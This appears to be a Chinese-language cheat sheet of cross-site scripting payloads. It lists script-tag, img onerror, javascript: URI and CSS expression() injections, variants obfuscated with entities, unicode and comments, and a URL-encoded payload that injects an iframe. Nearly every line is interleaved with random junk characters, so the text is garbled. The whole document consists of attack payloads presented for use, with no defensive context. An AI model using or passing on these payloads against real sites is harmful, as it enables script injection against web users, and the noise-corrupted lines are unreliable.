xss

admin

<script>alert("跨站")</script>    (最常用）
: ]3 y$ n0 N% U8 Y5 ]<img scr=javascript:alert("跨站")></img>
<img scr="javascrip&#116&#58 alert(/跨站/)></img>
  D0 b$ ]! }( B0 O; f' ]/ t<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
) F  Q' r3 Y$ L* G) w<img scr="#" onerror=alert(/跨站/)></img>
; E- K4 j: c' [& Y* y3 u  F$ z1 g<img scr="#" style="xss:expression(alert(/xss/));"></img>
/ v  ]7 i% m+ d3 X: y  ~! y<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
<img src=vbscript:msgbox ("xss")></img>
) O# l0 s, e3 o1 v# z" c<style> input {left:expression (alert('xss'))}</style>
% R3 T8 e3 N. Y4 k! b<div style={left:expression (alert('xss'))}></div>
- c( k0 m( v* D6 p8 C( ~<div style={left:exp/* */ression (alert('xss'))}></div>
) |6 i) F' g% I: Q) P; B, @<div style={left:\0065\0078ression (alert('xss'))}></div>
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
& ]# x7 q0 C! f) Wunicode <div style="{left:expRessioN (alert('xss'))}">
- v& J) Y- T/ M+ ~- i
- k) s6 {  w4 E  A) z1 X"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
, z! X0 p8 e- d6 }